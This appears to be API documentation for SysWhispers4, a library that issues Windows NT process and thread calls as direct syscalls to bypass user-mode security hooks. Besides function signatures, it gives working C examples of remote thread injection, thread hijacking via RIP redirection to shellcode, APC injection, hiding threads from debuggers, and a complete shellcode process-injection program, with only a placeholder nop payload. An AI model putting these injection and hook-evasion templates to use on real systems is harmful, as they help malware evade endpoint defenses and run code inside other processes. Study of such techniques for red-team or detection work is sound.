Process & Thread Functions

Overview

SysWhispers4 provides comprehensive process and thread management via direct syscalls, bypassing user-mode hooks on functions like CreateRemoteThread, OpenProcess, etc.

Process Functions

NtOpenProcess

Opens a handle to an existing process.

NTSTATUS SW4_NtOpenProcess(
    PHANDLE            ProcessHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID         ClientId
);

Parameters

ProcessHandle

PHANDLE

required

Pointer to a variable that receives the process handle.

DesiredAccess

ACCESS_MASK

required

Access rights. Common values:

PROCESS_ALL_ACCESS (0x1FFFFF)
PROCESS_VM_READ (0x0010)
PROCESS_VM_WRITE (0x0020)
PROCESS_VM_OPERATION (0x0008)
PROCESS_CREATE_THREAD (0x0002)

ObjectAttributes

POBJECT_ATTRIBUTES

required

Pointer to OBJECT_ATTRIBUTES structure. Use {sizeof(OBJECT_ATTRIBUTES)} for default.

ClientId

PCLIENT_ID

required

Pointer to CLIENT_ID structure identifying the process:

CLIENT_ID cid = { (HANDLE)(ULONG_PTR)pid, NULL };

Example

#include "SW4Syscalls.h"

int main(void) {
    SW4_Initialize();

    DWORD targetPid = 1234;
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) };
    CLIENT_ID cid = { (HANDLE)(ULONG_PTR)targetPid, NULL };

    NTSTATUS status = SW4_NtOpenProcess(
        &hProcess,
        PROCESS_ALL_ACCESS,
        &oa,
        &cid
    );

    if (NT_SUCCESS(status)) {
        printf("[+] Opened process %lu -> handle 0x%p\n", targetPid, hProcess);
        // Use the handle...
        SW4_NtClose(hProcess);
    } else {
        fprintf(stderr, "[!] NtOpenProcess failed: 0x%08X\n", status);
    }

    return 0;
}

NtCreateProcess

Creates a new process (legacy function, rarely used).

NTSTATUS SW4_NtCreateProcess(
    PHANDLE            ProcessHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE             ParentProcess,
    BOOLEAN            InheritObjectTable,
    HANDLE             SectionHandle,
    HANDLE             DebugPort,
    HANDLE             TokenHandle
);

NtCreateProcessEx

Extended process creation (preferred over NtCreateProcess).

NTSTATUS SW4_NtCreateProcessEx(
    PHANDLE            ProcessHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE             ParentProcess,
    ULONG              Flags,
    HANDLE             SectionHandle,
    HANDLE             DebugPort,
    HANDLE             TokenHandle,
    ULONG              Reserved
);

NtCreateUserProcess

Comprehensive process creation (Windows Vista+).

NTSTATUS SW4_NtCreateUserProcess(
    PHANDLE              ProcessHandle,
    PHANDLE              ThreadHandle,
    ACCESS_MASK          ProcessDesiredAccess,
    ACCESS_MASK          ThreadDesiredAccess,
    POBJECT_ATTRIBUTES   ProcessObjectAttributes,
    POBJECT_ATTRIBUTES   ThreadObjectAttributes,
    ULONG                ProcessFlags,
    ULONG                ThreadFlags,
    PVOID                ProcessParameters,
    PPS_CREATE_INFO      CreateInfo,
    PPS_ATTRIBUTE_LIST   AttributeList
);

NtCreateUserProcess is complex and requires extensive setup. For most use cases, use CreateProcess from Win32 or perform process hollowing via NtCreateSection + NtMapViewOfSection.

NtTerminateProcess

Terminates a process.

NTSTATUS SW4_NtTerminateProcess(
    HANDLE   ProcessHandle,
    NTSTATUS ExitStatus
);

Parameters

ProcessHandle

HANDLE

Handle to process. Use NULL or GetCurrentProcess() to terminate current process.

ExitStatus

NTSTATUS

required

Exit code for the process.

Example

// Terminate remote process
HANDLE hProcess = ...;  // from NtOpenProcess
SW4_NtTerminateProcess(hProcess, 0);
SW4_NtClose(hProcess);

NtSuspendProcess

Suspends all threads in a process (Windows Vista+).

NTSTATUS SW4_NtSuspendProcess(
    HANDLE ProcessHandle
);

Example

HANDLE hProcess = ...;
SW4_NtSuspendProcess(hProcess);  // All threads frozen

// Perform operations...

SW4_NtResumeProcess(hProcess);   // Resume execution

NtResumeProcess

Resumes all threads in a suspended process.

NTSTATUS SW4_NtResumeProcess(
    HANDLE ProcessHandle
);

NtQueryInformationProcess

Retrieves information about a process.

NTSTATUS SW4_NtQueryInformationProcess(
    HANDLE           ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID            ProcessInformation,
    ULONG            ProcessInformationLength,
    PULONG           ReturnLength
);

Common Information Classes

Class	Value	Returns
`ProcessBasicInformation`	0	`PROCESS_BASIC_INFORMATION` (PEB address, etc.)
`ProcessDebugPort`	7	Debug port handle (0 = not debugged)
`ProcessImageFileName`	27	Full path to executable
`ProcessCommandLineInformation`	60	Command-line string

Example: Get PEB Address

typedef struct _PROCESS_BASIC_INFORMATION {
    NTSTATUS ExitStatus;
    PVOID PebBaseAddress;
    ULONG_PTR AffinityMask;
    LONG BasePriority;
    ULONG_PTR UniqueProcessId;
    ULONG_PTR InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION;

PROCESS_BASIC_INFORMATION pbi;
NTSTATUS status = SW4_NtQueryInformationProcess(
    GetCurrentProcess(),
    ProcessBasicInformation,
    &pbi,
    sizeof(pbi),
    NULL
);

if (NT_SUCCESS(status)) {
    printf("[+] PEB at: %p\n", pbi.PebBaseAddress);
}

NtSetInformationProcess

Sets process information.

NTSTATUS SW4_NtSetInformationProcess(
    HANDLE           ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID            ProcessInformation,
    ULONG            ProcessInformationLength
);

Example: Set Critical Process

// Make process critical (BSOD on termination - use with caution!)
ULONG isCritical = 1;
SW4_NtSetInformationProcess(
    GetCurrentProcess(),
    ProcessBreakOnTermination,  // 29
    &isCritical,
    sizeof(isCritical)
);

Thread Functions

NtCreateThreadEx

Creates a thread in a process.

NTSTATUS SW4_NtCreateThreadEx(
    PHANDLE            ThreadHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE             ProcessHandle,
    PVOID              StartRoutine,
    PVOID              Argument,
    ULONG              CreateFlags,
    SIZE_T             ZeroBits,
    SIZE_T             StackSize,
    SIZE_T             MaximumStackSize,
    PPS_ATTRIBUTE_LIST AttributeList
);

Parameters

ThreadHandle

PHANDLE

required

Receives the thread handle.

DesiredAccess

ACCESS_MASK

required

Access rights (use THREAD_ALL_ACCESS or 0x1FFFFF).

ObjectAttributes

POBJECT_ATTRIBUTES

Usually NULL.

ProcessHandle

HANDLE

required

Target process handle (use GetCurrentProcess() for local thread).

StartRoutine

PVOID

required

Thread entry point address.

Argument

PVOID

Argument passed to thread function.

CreateFlags

ULONG

required

Creation flags:

0 — Start immediately
0x00000001 — Create suspended
0x00000004 — Hide from debugger

Example: Remote Thread Injection

// After writing shellcode to remoteBase in target process:

HANDLE hThread = NULL;
NTSTATUS status = SW4_NtCreateThreadEx(
    &hThread,
    THREAD_ALL_ACCESS,
    NULL,                  // ObjectAttributes
    hProcess,              // Target process
    remoteBase,            // Shellcode address
    NULL,                  // No argument
    0,                     // Start immediately
    0, 0, 0,              // Stack defaults
    NULL                   // No attribute list
);

if (NT_SUCCESS(status)) {
    printf("[+] Remote thread created: 0x%p\n", hThread);
    SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
    SW4_NtClose(hThread);
}

NtOpenThread

Opens a handle to an existing thread.

NTSTATUS SW4_NtOpenThread(
    PHANDLE            ThreadHandle,
    ACCESS_MASK        DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    PCLIENT_ID         ClientId
);

Example

DWORD targetTid = 5678;
HANDLE hThread = NULL;
OBJECT_ATTRIBUTES oa = { sizeof(oa) };
CLIENT_ID cid = { NULL, (HANDLE)(ULONG_PTR)targetTid };

SW4_NtOpenThread(&hThread, THREAD_ALL_ACCESS, &oa, &cid);

NtSuspendThread

Suspends a thread.

NTSTATUS SW4_NtSuspendThread(
    HANDLE ThreadHandle,
    PULONG PreviousSuspendCount
);

Example

HANDLE hThread = ...;
ULONG prevCount;

SW4_NtSuspendThread(hThread, &prevCount);
printf("[*] Thread suspended (previous count: %lu)\n", prevCount);

// Perform operations on suspended thread...

SW4_NtResumeThread(hThread, NULL);

NtResumeThread

Resumes a suspended thread.

NTSTATUS SW4_NtResumeThread(
    HANDLE ThreadHandle,
    PULONG SuspendCount
);

NtTerminateThread

Terminates a thread.

NTSTATUS SW4_NtTerminateThread(
    HANDLE   ThreadHandle,
    NTSTATUS ExitStatus
);

NtGetContextThread

Retrieves a thread’s CPU context (registers).

NTSTATUS SW4_NtGetContextThread(
    HANDLE   ThreadHandle,
    PCONTEXT ThreadContext
);

Example

CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;

SW4_NtGetContextThread(hThread, &ctx);

printf("[*] RIP: 0x%llx\n", ctx.Rip);
printf("[*] RSP: 0x%llx\n", ctx.Rsp);

NtSetContextThread

Sets a thread’s CPU context.

NTSTATUS SW4_NtSetContextThread(
    HANDLE   ThreadHandle,
    PCONTEXT ThreadContext
);

Example: Thread Hijacking

// Suspend target thread
SW4_NtSuspendThread(hThread, NULL);

// Get current context
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_FULL;
SW4_NtGetContextThread(hThread, &ctx);

// Hijack RIP to point to shellcode
ctx.Rip = (DWORD64)shellcodeAddress;

// Set modified context
SW4_NtSetContextThread(hThread, &ctx);

// Resume — thread now executes shellcode
SW4_NtResumeThread(hThread, NULL);

NtQueueApcThread

Queues an APC (Asynchronous Procedure Call) to a thread.

NTSTATUS SW4_NtQueueApcThread(
    HANDLE           ThreadHandle,
    PPS_APC_ROUTINE  ApcRoutine,
    PVOID            ApcArgument1,
    PVOID            ApcArgument2,
    PVOID            ApcArgument3
);

Example: APC Injection

// Thread must be in alertable wait state (e.g., SleepEx, WaitForSingleObjectEx)

HANDLE hThread = ...;  // Target thread
PVOID shellcodeAddr = ...;

SW4_NtQueueApcThread(
    hThread,
    (PPS_APC_ROUTINE)shellcodeAddr,
    NULL, NULL, NULL
);

printf("[+] APC queued — will execute when thread enters alertable state\n");

NtQueueApcThreadEx

Extended APC queuing (Windows 7+).

NTSTATUS SW4_NtQueueApcThreadEx(
    HANDLE           ThreadHandle,
    HANDLE           ReserveHandle,
    PPS_APC_ROUTINE  ApcRoutine,
    PVOID            ApcArgument1,
    PVOID            ApcArgument2,
    PVOID            ApcArgument3
);

NtTestAlert

Tests if APCs are pending for the current thread and executes them.

NTSTATUS SW4_NtTestAlert(VOID);

NtAlertThread

Alerts a thread (forces APC delivery).

NTSTATUS SW4_NtAlertThread(
    HANDLE ThreadHandle
);

NtAlertResumeThread

Alerts and resumes a thread in one operation.

NTSTATUS SW4_NtAlertResumeThread(
    HANDLE ThreadHandle,
    PULONG PreviousSuspendCount
);

NtQueryInformationThread

Retrieves thread information.

NTSTATUS SW4_NtQueryInformationThread(
    HANDLE           ThreadHandle,
    THREADINFOCLASS  ThreadInformationClass,
    PVOID            ThreadInformation,
    ULONG            ThreadInformationLength,
    PULONG           ReturnLength
);

Example: Check if Thread is in Alertable State

ULONG alertable;
SW4_NtQueryInformationThread(
    hThread,
    ThreadIsIoPending,  // Or other classes
    &alertable,
    sizeof(alertable),
    NULL
);

NtSetInformationThread

Sets thread information.

NTSTATUS SW4_NtSetInformationThread(
    HANDLE           ThreadHandle,
    THREADINFOCLASS  ThreadInformationClass,
    PVOID            ThreadInformation,
    ULONG            ThreadInformationLength
);

Example: Hide Thread from Debugger

ULONG hideFromDebugger = 1;
SW4_NtSetInformationThread(
    GetCurrentThread(),
    ThreadHideFromDebugger,  // 17
    NULL,  // No buffer needed for this class
    0
);

Synchronization Functions

NtWaitForSingleObject

Waits for an object to be signaled.

NTSTATUS SW4_NtWaitForSingleObject(
    HANDLE         Handle,
    BOOLEAN        Alertable,
    PLARGE_INTEGER Timeout
);

Parameters

Handle

HANDLE

required

Handle to wait on (thread, process, event, etc.).

Alertable

BOOLEAN

required

If TRUE, function returns when an APC is queued.

Timeout

PLARGE_INTEGER

Timeout in 100-nanosecond intervals. Use NULL for infinite wait.

Example

// Wait for thread to complete
SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
printf("[+] Thread completed\n");

NtWaitForMultipleObjects

Waits for multiple objects.

NTSTATUS SW4_NtWaitForMultipleObjects(
    ULONG          Count,
    PHANDLE        Handles,
    WAIT_TYPE      WaitType,
    BOOLEAN        Alertable,
    PLARGE_INTEGER Timeout
);

Parameters

WaitType

WAIT_TYPE

required

WaitAll (0) — Wait for all objects
WaitAny (1) — Wait for any object

NtSignalAndWaitForSingleObject

Signals one object and waits for another in one atomic operation.

NTSTATUS SW4_NtSignalAndWaitForSingleObject(
    HANDLE         SignalHandle,
    HANDLE         WaitHandle,
    BOOLEAN        Alertable,
    PLARGE_INTEGER Timeout
);

NtClose

Closes a handle.

NTSTATUS SW4_NtClose(
    HANDLE Handle
);

Always close handles when done to avoid handle leaks.

Example

HANDLE hProcess = ...;
// Use the handle...
SW4_NtClose(hProcess);

NtDuplicateObject

Duplicates a handle.

NTSTATUS SW4_NtDuplicateObject(
    HANDLE      SourceProcessHandle,
    HANDLE      SourceHandle,
    HANDLE      TargetProcessHandle,
    PHANDLE     TargetHandle,
    ACCESS_MASK DesiredAccess,
    ULONG       HandleAttributes,
    ULONG       Options
);

Complete Example: Process Injection

Combining process and thread functions:

#include <stdio.h>
#include "SW4Syscalls.h"

static const unsigned char shellcode[] = {
    0x90, 0x90, 0x90, 0xC3  // nop; nop; nop; ret
};

int main(void) {
    if (!SW4_Initialize()) return 1;

    DWORD targetPid = 1234;

    // 1. Open process
    HANDLE hProcess = NULL;
    OBJECT_ATTRIBUTES oa = { sizeof(oa) };
    CLIENT_ID cid = { (HANDLE)(ULONG_PTR)targetPid, NULL };
    NTSTATUS status = SW4_NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid);
    if (!NT_SUCCESS(status)) return 1;

    // 2. Allocate memory
    PVOID base = NULL;
    SIZE_T size = sizeof(shellcode);
    SW4_NtAllocateVirtualMemory(hProcess, &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // 3. Write shellcode
    SW4_NtWriteVirtualMemory(hProcess, base, (PVOID)shellcode,
        sizeof(shellcode), NULL);

    // 4. Change to RX
    ULONG oldProt;
    SW4_NtProtectVirtualMemory(hProcess, &base, &size,
        PAGE_EXECUTE_READ, &oldProt);

    // 5. Create thread
    HANDLE hThread = NULL;
    status = SW4_NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL,
        hProcess, base, NULL, 0, 0, 0, 0, NULL);

    if (NT_SUCCESS(status)) {
        printf("[+] Remote thread created\n");
        SW4_NtWaitForSingleObject(hThread, FALSE, NULL);
        SW4_NtClose(hThread);
    }

    SW4_NtClose(hProcess);
    return 0;
}

Generated API

Function Categories

​Overview

​Process Functions

​NtOpenProcess

​Parameters

​Example

​NtCreateProcess

​NtCreateProcessEx

​NtCreateUserProcess

​NtTerminateProcess

​Parameters

​Example

​NtSuspendProcess

​Example

​NtResumeProcess

​NtQueryInformationProcess

​Common Information Classes

​Example: Get PEB Address

​NtSetInformationProcess

​Example: Set Critical Process

​Thread Functions

​NtCreateThreadEx

​Parameters

​Example: Remote Thread Injection

​NtOpenThread

​Example

​NtSuspendThread

​Example

​NtResumeThread

​NtTerminateThread

​NtGetContextThread

​Example

​NtSetContextThread

​Example: Thread Hijacking

​NtQueueApcThread

​Example: APC Injection

​NtQueueApcThreadEx

​NtTestAlert

​NtAlertThread

​NtAlertResumeThread

​NtQueryInformationThread

​Example: Check if Thread is in Alertable State

​NtSetInformationThread

​Example: Hide Thread from Debugger

​Synchronization Functions

​NtWaitForSingleObject

​Parameters

​Example

​NtWaitForMultipleObjects

​Parameters

​NtSignalAndWaitForSingleObject

​NtClose

​Example

​NtDuplicateObject

​Complete Example: Process Injection

​Next Steps

File Functions

Token Functions

Build docs developers (and LLMs) love

Overview

Process Functions

NtOpenProcess

Parameters

Example

NtCreateProcess

NtCreateProcessEx

NtCreateUserProcess

NtTerminateProcess

Parameters

Example

NtSuspendProcess

Example

NtResumeProcess

NtQueryInformationProcess

Common Information Classes

Example: Get PEB Address

NtSetInformationProcess

Example: Set Critical Process

Thread Functions

NtCreateThreadEx

Parameters

Example: Remote Thread Injection

NtOpenThread

Example

NtSuspendThread

Example

NtResumeThread

NtTerminateThread

NtGetContextThread

Example

NtSetContextThread

Example: Thread Hijacking

NtQueueApcThread

Example: APC Injection

NtQueueApcThreadEx

NtTestAlert

NtAlertThread

NtAlertResumeThread

NtQueryInformationThread

Example: Check if Thread is in Alertable State

NtSetInformationThread

Example: Hide Thread from Debugger

Synchronization Functions

NtWaitForSingleObject

Parameters

Example

NtWaitForMultipleObjects

Parameters

NtSignalAndWaitForSingleObject

NtClose

Example

NtDuplicateObject

Complete Example: Process Injection

Next Steps